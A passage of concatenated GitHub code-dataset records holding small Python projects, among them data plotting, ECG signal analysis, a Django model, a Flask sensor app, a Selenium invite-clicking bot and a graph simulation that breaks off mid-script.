pd.read_csv('./south_pacific_2000_2015.csv', index_col=0)\n#sp.transpose().plot()\n\nworld = a.append([asia, europe,sp])\nworld.index\n\n#world.transpose().plot()\n\n#world.transpose().plot(figsize=(15,10), colormap='rainbow', title='Average Labor Hours Per Year')\n#plt.legend(loc='right', bbox_to_anchor=(1.3,0.5))\n#plt.show()\n\n\nhistorical = pd.read_csv('./historical.csv',index_col=0)\nprint(historical.head())\n\n#now merge our world and historical into whm (m=merge)\nwhm = pd.merge(historical,world,left_index=True, right_index=True, how='right')\n\n#try another method of joining into whj (j=join)\nwhj = historical.join(world,how='right')\n\nwhj.sort_index(inplace=True)\n\nwhj.transpose().plot(figsize=(15,10), colormap='rainbow', title='Average Labor Hours Per Year')\nplt.legend(loc='right', bbox_to_anchor=(1.3,0.5))\nplt.show()\n\n","repo_name":"danhislop/DataScienceCourses","sub_path":"MyLearning/oecd.py","file_name":"oecd.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25823064226","text":"import uuid\nfrom django.db import models\nfrom django.contrib.postgres.fields import ArrayField\nfrom django.contrib.postgres.validators import ArrayMinLengthValidator\n\n# Create your models here.\nclass Contact(models.Model):\n    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n    name = models.TextField()\n    numbers = ArrayField(\n        models.CharField(\n            max_length=11\n        ),\n        blank=False, \n        null=False,\n        validators=[\n            ArrayMinLengthValidator(1)\n        ]\n    )\n    ","repo_name":"alimagedayad/tamhub","sub_path":"backend/contact/models/contact.py","file_name":"contact.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"39435034507","text":"'''\n#1: Verify the Continuity of a Function at a Point\nYour challenge here is to write a program that will (1) accept a single variable function and a value of that variable as inputs and (2) check \nwhether the input function is continuous at the point where the variable \nassumes the value input.\n'''\n\nfrom sympy import Derivative, Limit, Symbol, S, sympify, solve\n\ndef check_continuity(f, var, point):\n\tf = sympify(f)\n\tlp = Limit(f, var, point, dir='+').doit()\n\tln = Limit(f, var, point, dir='-').doit()\n\tif lp == ln:\n\t\tprint(\"{0} is continuous at {1}\".format(f, point))\n\telse:\n\t\tprint(\"{0} is discontinuous at {1}\".format(f, point))\n\n\n\nf = input('Enter a function in one variable: ')\nvar = input('Enter the variable to differentiate with respect to: ')\npoint = float(input('Enter the point to check continuity at: '))\n\ncheck_continuity(f, var, point)\n\n\n","repo_name":"Mart1nDimtrov/DoingMathPython","sub_path":"07. Solving Calculus Problems/verify_continuity.py","file_name":"verify_continuity.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"70334802600","text":"import tkinter as tk\nfrom tkinter import ttk\n\n\nclass App(tk.Frame):\n    def __init__(self, parent, *args, **kwargs):\n        super().__init__(parent, *args, **kwargs)\n        self.count = 0\n        self.button = tk.Button(self, text=\"Click me!\", command=self.click)\n        self.label = tk.Label(self, text=\"\", width=20)\n\n        self.label.pack(side=\"top\", fill=\"both\", expand=True)\n        self.button.pack(side=\"bottom\", padx=4, pady=4)\n        self.python_image = tk.PhotoImage(file='lenna.png')\n        ttk.Label(self, image=self.python_image).pack()\n        self.refresh_clicks()\n\n    def SetPixelText(self, colour, x, y):\n        self.python_image.put(colour, (x, y))\n\n    def SetPixel(self, r, g, b, x, y):\n        mycolor = \"#%02x%02x%02x\" % (r, g, b)\n        self.python_image.put(mycolor, (x, y))\n\n    def click(self):\n        self.count += 1\n        self.refresh_clicks()\n\n    def refresh_clicks(self):\n        self.label.configure(text=f\"Clicks: {self.count}\")\n\n\napps = []\nn = 3\nfor i in range(n):\n    window = tk.Tk() if i == 0 else tk.Toplevel()\n\n    app = App(window)\n    app.pack(fill=\"both\", expand=True)\n    if i == 0:\n        for j in range(100):\n            app.SetPixel(255, 0, 0, 10+j, 10)\n    if i == 1:\n        for j in range(100):\n            app.SetPixel(0, 255, 0, 10+j, 10)\n    if i == 2:\n        for j in range(100):\n            app.SetPixel(0, 0, 255, 10+j, 10)\n    apps.append(app)\ntk.mainloop()\n","repo_name":"JCBallen/Computer-Vision","sub_path":"BasicPython/opencv_2.py","file_name":"opencv_2.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8393556334","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 24 10:36:29 2019\n\n@author: hao\n\"\"\"\nfrom dataDecode import dataDecode\nimport requests\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nfrom scipy import signal\nimport math\nfrom numpy.fft import fft, fftshift\n\nurlstart=\"http://xds.ym.edu.tw/01530055/191224b.153\"\n    #前面都是做例外處理，確認設備是否在線上或者，這裡是正式下載資料\nr = requests.get(urlstart)\nrawtxt=r.content #content:二進制\n\nData,sampling_rate=dataDecode.rawdataDecode(rawtxt)\ndata_sam = sampling_rate/2\nduration=int(len(Data[0])/(data_sam))\nData_len=int(data_sam)*duration\nData_from=len(Data[0])-Data_len\n\nvector=Data[0][Data_from:Data_from+Data_len]#-medfilt(np.array(Data[0][Data_from:Data_from+Data_len]),125)\n#plt.plot(vector)\nfc = 45\nw = fc/(sampling_rate/4)\nb, a = signal.butter(2, w)\nvector_filt = signal.filtfilt(b, a, vector)\n#plt.plot(medfilt(np.array(Data[0][Data_from:Data_from+Data_len]),125))\ncol = {\"HR\" : vector_filt}\n#col2 = {\"HR\" : vector}\ndata = pd.DataFrame(col)\n#plt.plot(vector_filt)\n#data2 = pd.DataFrame(col2)\nxs = [i for i in range(Data_len)]\nx1 = np.linspace(0, duration, len(xs))  #x軸，將point轉換成time\nx_time = []     #存入x_time這個list\nfor x in x1:\n    x_time.append(x)\n\nhrw = 0.3 #One-sided window size, as proportion of the sampling frequency\nfs = sampling_rate/2 #The example dataset was recorded at 100Hz\n#fs = sampling_rate/2\nmov_avg = data['HR'].rolling(int(hrw*fs)).mean() \n#Calculate moving average\n#Impute where moving average function returns NaN, which is the beginning of the signal where x hrw\navg_hr = (np.mean(data.HR))\nmov_avg = [avg_hr if math.isnan(x) else x for x in mov_avg]\nmov_avg = [x*1.13 for x in mov_avg] \n#For now we raise the average by 4% to prevent the secondary heart contraction from interfering, in part 2 we will do this dynamically\ndata['HR_rollingmean'] = mov_avg \n\n#Append the moving average to the dataframe    \nwindow = []\npeaklist = []\nlistpos = 0 #We use a counter to move over the different data columns\nfor datapoint in data.HR:\n    rollingmean = data.HR_rollingmean[listpos] #Get local mean\n    if (datapoint < rollingmean) and (len(window) < 1): #If no detectable R-complex activity -> do nothing\n        listpos += 1\n    elif (datapoint > rollingmean): #If signal comes above local mean, mark ROI\n        window.append(datapoint)\n        listpos += 1\n    else: #If signal drops below local mean -> determine highest point\n        #maximum = max(window)\n        beatposition = listpos - len(window) + (window.index(max(window))) #Notate the position of the point on the X-axis\n        peaklist.append(beatposition) #Add detected peak to list\n        window = [] #Clear marked ROI\n        listpos += 1\nybeat = [data.HR[x] for x in peaklist] #Get the y-value of all peaks for plotting purposes\npeaklist_time = [x_time[j] for j in peaklist]\n\npx = []\npy = []\nqx = []\nqy = []\nsx = []\nsy = []\ntx = []\nty = []\n\nprx = []\nqrsx = []\nqtx = []\n\nthershold = [30, 80, 120]\n\nfor index3 in peaklist:\n    \n    ##------peak------##\n    # P-wave\n    if index3 < thershold[1]:\n        p_list = vector[0:(index3 - thershold[0])]\n        p_x = max(p_list)\n        p_index = p_list.index(max(p_list))\n        p_y = 0 + p_index\n    \n    else:\n        p_list = vector[(index3 - thershold[1]):(index3 - thershold[0])]\n        p_y = max(p_list)\n        p_index = p_list.index(max(p_list))\n        p_x = index3 - thershold[1] + p_index\n    px.append(p_x)  \n    py.append(p_y)\n       \n    # Q-wave\n    q_list = vector[(index3 - thershold[0]):index3]\n    q_y = min(q_list)\n    q_index = q_list.index(min(q_list))\n    q_x = index3 - thershold[0] + q_index\n    qx.append(q_x)          \n    qy.append(q_y)\n    \n    # S-wavw\n    s_list = vector[index3:(index3 + thershold[0])]\n    s_y = min(s_list)\n    s_index = s_list.index(min(s_list))\n    s_x = index3 + s_index\n    sx.append(s_x)          \n    sy.append(s_y)\n    \n    # T-wave\n    t_list = vector[(index3 + thershold[0]):(index3 + thershold[2])]\n    t_y = max(t_list)\n    t_index = t_list.index(max(t_list))\n    t_x = index3 + t_index + thershold[0]\n    tx.append(t_x)          \n    ty.append(t_y)\n#    \n#    ##------interval------##\n#    # P-R interval\n#    pr_time = ((q_x - p_x)/sampling_rate)*1000\n#    prx.append(pr_time)\n#    \n#    # QRS complex\n#    qrs_time = ((s_x - q_x)/sampling_rate)*1000\n#    qrsx.append(qrs_time)\n#    \n#    # Q-T interval\n#    qt_time = ((t_x - q_x)/sampling_rate)*1000\n#    qtx.append(qt_time)\n#    \n#\n#\npx_time = [x_time[a] for a in px]            \nqx_time = [x_time[b] for b in qx] \nsx_time = [x_time[c] for c in sx]\ntx_time = [x_time[d] for d in tx]\n\nticks_size = 14\nlabel_size = 18\n\nplt.figure(1)\nplt.title(\"Detected peaks in signal\", fontsize = 20)\nplt.xticks(fontsize = ticks_size)\nplt.yticks(fontsize = ticks_size)\nplt.xlabel('Time (s)', fontsize = label_size)\nplt.ylabel('Amplitude (mV)', fontsize = label_size)\n#plt.plot(x_time, data2.HR)\nplt.plot(x_time, data.HR) #Plot semi-transparent HR\nplt.scatter(peaklist_time, ybeat, c='red') #Plot detected peaks\n#plt.scatter(px_time, py, c='blue')\n#plt.scatter(qx_time, qy, c='red')\n#plt.scatter(sx_time, sy, c='red')\n#plt.scatter(tx_time, ty, c='y')\nplt.show()\n#%%\n'''----------------\nInterval extraction\n-------------------'''\n\n#P-R interval\n\np0 = []\n\n#for index4 in px:\n#    pr_list = vector[(index4 - 40):index4]\n#    p_0 = (statistics.median(pr_list))\n#    for index5 in (pr_list):\n#        if (index5 - p_0) <= 0:\n#            p0.append(pr_list.index(index5))\n#    prxx = p0[-1]; pryy = (vector[prx])\n\n\n'''--------------\nCut each cycle\n-----------------'''\n\n#------------cut R peak------------#\nplt.figure(2)   \nsub = 1\nsub2 = 0\nepoch = 150\n\nfor index in peaklist:\n       \n    #add subplot\n    column = math.ceil(len(peaklist)/6) \n    plt.subplot(6, column, sub + sub2)  #set row & column\n    \n    #cut R peak，計算切割區間(以R peak為中心的300ms)\n    cut1 = (x_time[index] - (epoch/1000))*sampling_rate     \n    cut2 = (x_time[index] + (epoch/1000))*sampling_rate\n    y = []\n    for k in range(len(vector[int(cut1):int(cut2)])):\n        k = (k/sampling_rate)\n        y.append(k)\n    \n    plt.plot(y, vector[int(cut1):int(cut2)])\n#    plt.xticks([])\n#    plt.yticks([])\n               \n    sub2 = sub2 + 1     #畫完一張圖，新增一個subplot\n#%%\n#plt.xlabel('Time (ms)', fontsize = label_size)\n#plt.ylabel('Amplitude (mV)', fontsize = label_size)\n \n##-------------filter------------##\n#fc = 40\n#w = fc/(samplingrate/2)\n#b, a = signal.butter(5, w)\n#y = signal.filtfilt(b, a, vector)\n#\n#vector2 = [a for a in vector_filt]\n#plt.figure(3)\n#plt.plot(x_time, vector, 'b', alpha=0.75)\n#plt.plot(x_time, vector2, 'k')\n#plt.legend(('noisy signal','filtfilt'), loc='best')\n##plt.grid(True)\n#plt.show()\n\n##--time domain--##\n\nplt.figure(4)\n\npeak_diff = [peaklist[i+1]-peaklist[i] for i in range(len(peaklist)-1)]\nRR = [(i/sampling_rate)*1000 for i in peak_diff]\nRR_sample = 4\ntime_new = np.arange(0,duration,1/RR_sample)\nRR_interval = signal.resample(RR,len(time_new))\nplt.plot(time_new, RR_interval,'o-',color = 'g')\nMean_RR = np.mean(RR_interval)\nSD_RR = np.std(RR_interval)\nRMSSD = np.sqrt(np.mean(np.array(SD_RR)**2))\n\nplt.title(\"R-R interval\", fontsize = 20)\nplt.xticks(fontsize = ticks_size)\nplt.yticks(fontsize = ticks_size)\nplt.xlabel('Time (s)', fontsize = label_size)\nplt.ylabel('Interval (ms)', fontsize = label_size)\n\n##--frequency domain--##\n#%%\nplt.figure(5)\n\nRR_frq = fft(RR_interval)      #快速傅立葉變換\nRR_real = RR_frq.real    # 獲取實數部分\nRR_conj = RR_frq.imag    # 獲取虛數部分\nRR_time = len(time_new)\npower_RR = abs(np.multiply(RR_frq,RR_conj/RR_time))\nfsb = RR_sample/RR_time\nf = fsb*time_new[0:round(RR_time/2)]\n#%%\ndef band(low,high,x):\n    output1 = []\n    for i in range(len(x)):\n        if x[i] <= high and low <= x[i]:\n            output1.append(i)\n    return output1\nvl = band(0,0.04,f)\nlf = band(0.04,0.15,f)\nhf = band(0.15,0.4,f)\nLF = sum(power_RR[lf])*fsb\nHF = sum(power_RR[hf])*fsb\nVLF = sum(power_RR[vl])*fsb\nTP = LF+HF+VLF \nLHratio=LF/HF\n\n#plt.plot(f[findex],power_RR[findex])\nplt.plot(f[hf],power_RR[hf],label='HF')\nplt.plot(f[lf],power_RR[lf],label=\"LF\")\nplt.legend()\nplt.title('Power spectral density')\nplt.xlabel('Frequency (Hz)')   \n#    testData=pd.DataFrame(vector_filt[int(cut1):int(cut2)]) \n    \n","repo_name":"wenhaohsu/undergrade","sub_path":"ECG_analysis/ECG_readraw.py","file_name":"ECG_readraw.py","file_ext":"py","file_size_in_byte":8359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"18620282663","text":"import re\n\nclass champ1() :\n    def __init__(self,name,ad,ap,armor,mg) :\n        self.name = name\n        self.AD = ad\n        self.AP = ap \n        self.Armor = armor\n        self.magicR = mg\n    def get_info(self) :\n        print('Name : ',self.name)\n        print('Attack Damge : ',self.AD)\n        print('Abilty power : ',self.AP)\n        print('Armor : ',self.Armor)\n        print('magicR : ',self.magicR)\n\nc = open('TEST.TXT', 'r+') \n      \n\nchamp = []\n\nfor index in range(10) :\n    read_champ = c.readline()\n    champ.append(read_champ)\n    champ[index] = champ[index][:-1]\n\nc.close()\n\n\nf = open('stats.txt', 'r+')\n\nchaplistloop = []\n\nfor stats in range(3) :\n    read_f = f.readline()\n    statlist = read_f.split()\n    chaplistloop.append(champ1(champ[stats],statlist[0],statlist[1],statlist[2],statlist[3]))\n\nprint(chaplistloop[0].name)\nf.close()\n","repo_name":"mmskm/ForFuckSake","sub_path":"TESTNEWTHING.PY","file_name":"TESTNEWTHING.PY","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25600940165","text":"'''\n# 그룹 단어 체커\n그룹 단어란 단어에 존재하는 모든 문자에 대해서, 각 문자가 연속해서 나타나는 경우만을 말한다. \n예를 들면, ccazzzzbb는 c, a, z, b가 모두 연속해서 나타나고, kin도 k, i, n이 연속해서 나타나기 때문에 그룹 단어이지만, \naabbbccb는 b가 떨어져서 나타나기 때문에 그룹 단어가 아니다.\n\n단어 N개를 입력으로 받아 그룹 단어의 개수를 출력하는 프로그램을 작성하시오.\n\n[입력]\n첫째 줄에 단어의 개수 N이 들어온다. N은 100보다 작거나 같은 자연수이다. 둘째 줄부터 N개의 줄에 단어가 들어온다. \n단어는 알파벳 소문자로만 되어있고 중복되지 않으며, 길이는 최대 100이다.\n\n[출력]\n첫째 줄에 그룹 단어의 개수를 출력한다.\n\n[예제 입력]\n3\nhappy\nnew\nyear\n\n[예제 출력]\n3\n\nlink: https://www.acmicpc.net/problem/1316\n'''\n\nn = int(input())\ngroup_word_count = 0\n\nfor _ in range(n):\n    word = input()\n    prev_c = \"\"\n    used_c = []\n    for curr_c in word:\n        if prev_c != curr_c:\n            try:\n                used_c.index(curr_c)\n                break\n            except ValueError:\n                used_c.append(curr_c)\n        prev_c = curr_c\n    else:\n        group_word_count += 1\nprint(group_word_count)","repo_name":"joong8812/baekjoon-for-algorithm","sub_path":"sparta/0321/1316.py","file_name":"1316.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"39100086391","text":"'''\nFunction:\n    setup\nAuthor:\n    Charles\n微信公众号:\n    Charles的皮卡丘\nGitHub:\n    https://github.com/CharlesPikachu/codefree\n'''\nimport codefree\nfrom setuptools import setup, find_packages\n\n\n'''readme'''\nwith open('README.md', 'r', encoding='utf-8') as f:\n    long_description = f.read()\n\n\n'''setup'''\nsetup(\n    name=codefree.__title__,\n    version=codefree.__version__,\n    description=codefree.__description__,\n    long_description=long_description,\n    long_description_content_type='text/markdown',\n    classifiers=[\n        'License :: OSI Approved :: Apache Software License',\n        'Programming Language :: Python :: 3',\n        'Intended Audience :: Developers',\n        'Operating System :: OS Independent'\n    ],\n    author=codefree.__author__,\n    url=codefree.__url__,\n    author_email=codefree.__email__,\n    license=codefree.__license__,\n    include_package_data=True,\n    install_requires=[lab.strip('\\n') for lab in list(open('requirements.txt', 'r').readlines())],\n    zip_safe=True,\n    packages=find_packages()\n)","repo_name":"CharlesPikachu/codefree","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"18"}
{"seq_id":"70836093161","text":"#! python3\n# PFbot.py - \n\n#https://portal.pixelfederation.com/en/profile\n\nimport os, sys, logging, winsound, datetime, pickle, time, random\nfrom selenium import webdriver\nfrom random import randint\n\n##################################################\n##                 FUNCTIONS                    ##\n##################################################\ndef playErrorSound():\n    winsound.PlaySound('C:\\\\Windows\\\\media\\\\Windows Exclamation.wav', winsound.SND_FILENAME)\ndef playFinishSound():\n    winsound.PlaySound('C:\\\\Windows\\\\media\\\\Windows Logon.wav', winsound.SND_FILENAME)\n\ndef getAccountLoginData(logPath, fileName):\n    try:\n        filePath = os.path.join(logPath, fileName)\n        logging.debug('Funkcja: getAccountLoginData(%s)' %filePath)\n        file = open(filePath)\n        filedata = file.readlines()\n        for i in range(len(filedata)-1):\n            filedata[i] = filedata[i][:-1]\n        return filedata\n    except Exception as err:\n        logging.error('An exception happened during loading account login data: ' + str(err))\n        playErrorSound()\n        return ['','']\n    finally:\n        file.close()\n\ndef setLoggingFileName(path, fileName):\n    logging.basicConfig(filename=os.path.join(path, fileName), level=logging.DEBUG, format=' %(asctime)s - %(levelname)s - %(message)s')\n    logging.disable(logging.DEBUG)\n\n    #wypisywanie logow na konsole\n    root = logging.getLogger()\n    ch = logging.StreamHandler(sys.stdout)\n    formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\n    ch.setFormatter(formatter)\n    root.addHandler(ch)\n\n# def randTime():\n#     return (randint(4.0, 10.0))\n\nfilesPath = 'C:\\\\Users\\\\Barpel\\\\Documents\\\\PythonScripts\\\\PFbotAcc'\nos.chdir(filesPath)\nif filesPath != os.getcwd():\n    sys.exit()\nprint('Current path: %s' %os.getcwd())\n\n#account\nprofileURL = 'https://portal.pixelfederation.com/en/profile'\n# accountLoginFileName = 'logpf.txt'\n# myUserName, myUserPass = getAccountLoginData(filesPath, accountLoginFileName)\n\n#logging\nloggingFolderName = os.path.join(filesPath, 'logs')\nos.makedirs(loggingFolderName, exist_ok=True)\nsetLoggingFileName(loggingFolderName, 'PFbotLog ' + str(datetime.datetime.now().strftime('%Y-%m-%d %H%M%S')) + '.txt')\n\n#cookies\nquoraCookiesFileName = 'QuoraCookiesForUpdates.pkl'\nquoraCookiesPath = os.path.join(filesPath, quoraCookiesFileName)\n\nlogging.info('Opening browser...')\nbrowser = webdriver.Chrome()\nbrowser.get('https://www.google.pl/')\ntime.sleep(1)\n\n#Loading cookies file\nif os.path.isfile(quoraCookiesPath) == True:\n    logging.info('Loading cookies file')\n    try:\n        for cookie in pickle.load(open(quoraCookiesPath, \"rb\")):\n            print(cookie)\n            browser.add_cookie(cookie)\n    except Exception as err:\n        logging.error('An exception happened during loading cookies: ' + str(err))\n        playErrorSound()\n\ntry:\n    logging.info('Opening site...')\n    browser.get(profileURL)\nexcept Exception as err:\n    logging.error('An exception happened during login: ' + str(err))\n    playErrorSound()\nlogging.info('Site opened...')\n\nif browser.current_url != profileURL:\n    logging.info('Log in...')\n    try:\n        print('Log in and press any key...')\n        os.system(\"pause\")\n\n        #Zapisanie plikow cookie\n        logging.info('Saving cookies')\n        cookieFile = open(quoraCookiesPath, \"wb\")\n        pickle.dump(browser.get_cookies() , cookieFile)\n        cookieFile.close()\n\n    except Exception as err:\n        logging.error('An exception happened during login: ' + str(err))\n        playErrorSound()\nelse:\n    print(\"Already logged\")\n\ninvitationCount = 0\nwhile True:\n    if invitationCount > 1000:\n        playFinishSound()\n        logging.info('--------- BREAK invitationCount: (%s)' %invitationCount)\n        break\n\n    logging.info('--------- InvitationCount: %s ---------' %invitationCount)\n    try:\n        logging.info('Opening site')\n        browser.get(profileURL)\n    except Exception as err:\n        logging.error('An exception happened during opening site: ' + str(err))\n        playErrorSound()\n    \n    if browser.current_url != profileURL:\n        logging.error('User not logged: ')\n        logging.error('An exception happened during opening site: ')\n        playErrorSound()\n        sys.exit()\n    \n    logging.info('Searching search button...')\n    searchButton = browser.find_elements_by_class_name('fa-search')[0]\n    searchButton.click()\n\n    logging.info('Searching invite buttons')\n    inviteButtons = browser.find_elements_by_class_name('player-list__item__button')\n    logging.info('Found %s buttons' %len(inviteButtons))\n    \n    whileIteractionBreak = 18\n    while inviteButtons == []:\n        logging.info('Waiting for invite buttons - (%s)' %whileIteractionBreak)\n        inviteButtons = browser.find_elements_by_class_name('player-list__item__button')\n        logging.info('Found %s buttons' %len(inviteButtons))\n        whileIteractionBreak = whileIteractionBreak - 1\n        if whileIteractionBreak < 0:\n            logging.info('--------- BREAK whileIteractionBreak: (%s)' %whileIteractionBreak)\n            break\n        if inviteButtons == []:\n            sleepTime = 4 #randint(1.0, 4.0)\n            logging.info('Sleep time: %s...' %sleepTime)\n            time.sleep(sleepTime)\n\n    random.shuffle(inviteButtons)\n    i = 1\n    for button in inviteButtons:\n        button.click()\n        invitationCount = invitationCount + 1\n        sleepTime = randint(10.0, 50.0)/100\n        logging.info('Invitation (%s) click sleep time: %s' %(i, sleepTime))\n        i = i + 1\n        time.sleep(sleepTime)\n\n    sleepTime = randint(1.0, 9.0)\n    logging.info('Sleep time: %s...' %sleepTime)\n    time.sleep(sleepTime)\n    \n#os.system(\"pause\")\n#browser.close()\n\n#sys.exit()\n","repo_name":"bpelikan/PFbot","sub_path":"PFbot/PFbot.py","file_name":"PFbot.py","file_ext":"py","file_size_in_byte":5749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74209206761","text":"# -*- coding: utf-8 -*-\nfrom flask import Flask, render_template, jsonify, Response\nfrom dht import Sensor\nimport logging\nimport pigpio\nimport json\nimport redis\nimport time\nimport ast\nimport os\nimport re\nimport itertools\nimport datetime\nfrom collections import namedtuple\n\napp = Flask(__name__)\napp.debug = True\nr = redis.StrictRedis(host='localhost', port=6379, db=0)\nConditions = namedtuple('Conditions', 'temperature humidity message')\nlogging.basicConfig(level=logging.DEBUG)\n\npi = pigpio.pi()\nCACHE_TIME = 5\n\n\n@app.route(\"/\")\ndef home():\n    return render_template('main.html')\n\n\n@app.route(\"/history\")\ndef history():\n    cached_json = r.get('history_cache')\n    if cached_json:\n        return Response(cached_json, mimetype='application/json')\n\n    samples = r.hgetall('tempsamples')\n    if samples:\n        samples = ast.literal_eval(samples['samples'])\n        logging.debug(type(samples))\n        samples = sorted(samples, key=lambda item: datetime.datetime.strptime(\n            item['datetime'], '%Y-%m-%d %H:%M:%S'))\n        output = {\n            'temp': [{\n                'x': time.mktime(datetime.datetime.strptime(d['datetime'], '%Y-%m-%d %H:%M:%S').timetuple()),\n                'y': float(d['temperature'])\n            } for d in samples],\n            'humidity': [{\n                'x': time.mktime(datetime.datetime.strptime(d['datetime'], '%Y-%m-%d %H:%M:%S').timetuple()),\n                'y': float(d['humidity'])\n            } for d in samples]\n        }\n        cache_json = json.dumps(output)\n        r.set('history_cache', cache_json, ex=500)\n        return jsonify(output)\n    else:\n        return \"Data not available\"\n\n\n@app.route(\"/current\")\ndef conditions():\n    last_reading_str = r.get('last_reading')\n    if last_reading_str:\n        try:\n            last_reading = ast.literal_eval(last_reading_str)\n        except:\n            logging.warn(\n                \"Last info from redis was bad. Ignoring and discarding\")\n            last_reading = None\n            r.delete('last_reading')\n    else:\n        last_reading = None\n    if not last_reading or time.time() - last_reading[3] > CACHE_TIME:\n        logging.debug(\"Getting new readings\")\n        sensor = Sensor(pi, 25)\n        sensor.read()\n        RETRIES = 4\n        sleep = 0.1\n        time.sleep(sleep)\n        times = 0\n        while times < RETRIES and sensor.temperature == -999:\n            sleep = sleep * 2\n            time.sleep(sleep)\n            times += 1\n        r.set('last_reading', (sensor.temperature,\n                               sensor.humidity, sensor.message, time.time()))\n        conditions = Conditions(\n            sensor.temperature, sensor.humidity, sensor.message)\n        sensor.cancel()\n    else:\n        logging.debug(\"Using cached readings\")\n        conditions = Conditions(\n            last_reading[0], last_reading[1], last_reading[2])\n    d = {'temperature': str(round(conditions.temperature, 1)),\n         'humidity': str(round(conditions.humidity, 1)),\n         'message': conditions.message}\n\n    return jsonify(d)\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0')\n","repo_name":"jdiller/conditions","sub_path":"temperature.py","file_name":"temperature.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21461651553","text":"\"\"\"Mambu Value Objects\n\n.. autosummary::\n   :nosignatures:\n   :toctree: _autosummary\n\"\"\"\n\nfrom .mambustruct import MambuStruct\n\n\nclass MambuValueObject(MambuStruct):\n    \"\"\"A Mambu object with some schema but that you won't interact directly\n    with in Mambu web, but through some entity.\"\"\"\n\n\nclass MambuDocument(MambuValueObject):\n    \"\"\"Attached document\"\"\"\n\n\nclass MambuAddress(MambuValueObject):\n    \"\"\"Address\"\"\"\n\n\nclass MambuIDDocument(MambuValueObject):\n    \"\"\"ID Document\"\"\"\n    _ownerType = \"ID_DOCUMENT\"\n    \"\"\"owner type of this entity\"\"\"\n\n\nclass MambuComment(MambuValueObject):\n    \"\"\"Comment\"\"\"\n\n\nclass MambuDisbursementDetails(MambuValueObject):\n    \"\"\"Disbursement Details\"\"\"\n\n\nclass MambuUserRole(MambuValueObject):\n    \"\"\"User Role\"\"\"\n\n\nclass MambuGroupMember(MambuValueObject):\n    \"\"\"Group member\"\"\"\n    _vos = [(\"roles\", \"MambuGroupRole\")]\n    \"\"\"2-tuples of elements and Value Objects\"\"\"\n\n    _entities = [(\"clientKey\", \"mambuclient.MambuClient\", \"client\")]\n    \"\"\"3-tuples of elements and Mambu Entities\"\"\"\n\n\nclass MambuGroupRole(MambuValueObject):\n    \"\"\"Group member role\"\"\"\n\n\nclass MambuDisbursementLoanTransactionInput(MambuValueObject):\n    \"\"\"Disbursment Loan Transaction body\"\"\"\n    _schema_fields = [\n        \"amount\",\n        \"bookingDate\",\n        \"externalId\",\n        \"firstRepaymentDate\",\n        \"notes\",\n        \"originalCurrencyCode\",\n        \"shiftAdjustableInterestPeriods\",\n        \"valueDate\",\n    ]\n    \"\"\"List of schema fields for a loan disbursement transaction.\"\"\"\n\n\nclass MambuRepaymentLoanTransactionInput(MambuValueObject):\n    \"\"\"Repayment Loan Transaction body\"\"\"\n    _schema_fields = [\n        \"amount\",\n        \"bookingDate\",\n        \"externalId\",\n        \"installmentEncodedKey\",\n        \"notes\",\n        \"originalCurrencyCode\",\n        \"prepaymentRecalculationMethod\",\n        \"valueDate\",\n    ]\n    \"\"\"List of schema fields for a loan repayment transaction.\"\"\"\n","repo_name":"jstitch/MambuPy","sub_path":"MambuPy/api/vos.py","file_name":"vos.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"3657910860","text":"import RandomGraph as rg\nimport plotGraph as pg\nimport des\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\n\ndef random_color():\n    rgbl = [255, 0, 0]\n    random.shuffle(rgbl)\n    return tuple(rgbl)\n\n\nn = 10\nm = 1\nscheduleTimeout = 5\ncollectorTimeout = 5\nknowledgeTimeout = 10\niteratorTimeout = 15\ndistance = 1\nseed = 6\nloss_probability = 1\nregenGraphTimeout = 15000\ndeltaValue = 10\nterminationError = 0.01\n\nvalues = []\n\nY = list()\nZ = list()\nX = range(4, 20)\nH = list()\n\nfor i in X:\n    res = []\n    missess = []\n    exchange = []\n    snap = i\n    for _ in range(m):\n        graph = rg.RandomGraph(i)\n        graph.create_graph()\n        graph.add_connections()\n        nodes = graph.nodes_list()\n        edges = graph.edges_dic(distance)\n        simulation = des.Sim(nodes, edges, loss_probability, regenGraphTimeout,\n                             collectorTimeout, knowledgeTimeout,\n                             scheduleTimeout, iteratorTimeout,\n                             distance, deltaValue, rg.Types.AVERAGE,\n                             terminationError, snap)\n        simulation.start()\n        des.printNodes(simulation.nodes)\n        values.append(simulation.getValues())\n        res.append(simulation.time)\n        exchange.append(simulation.exchange)\n        missess.append(simulation.missess)\n    Y.append(np.average(res))\n    Z.append(np.average(missess))\n    H.append(np.average(exchange))\n\npg.generateRoundsGraph(X, Y)\npg.generateMissessGraph(X, Z)\npg.generateExchangeGraph(X, H)\n\nsnapshot = simulation.snapshot\n\nplt.figure(1)\nfor key in snapshot.keys():\n    if key != 'time':\n        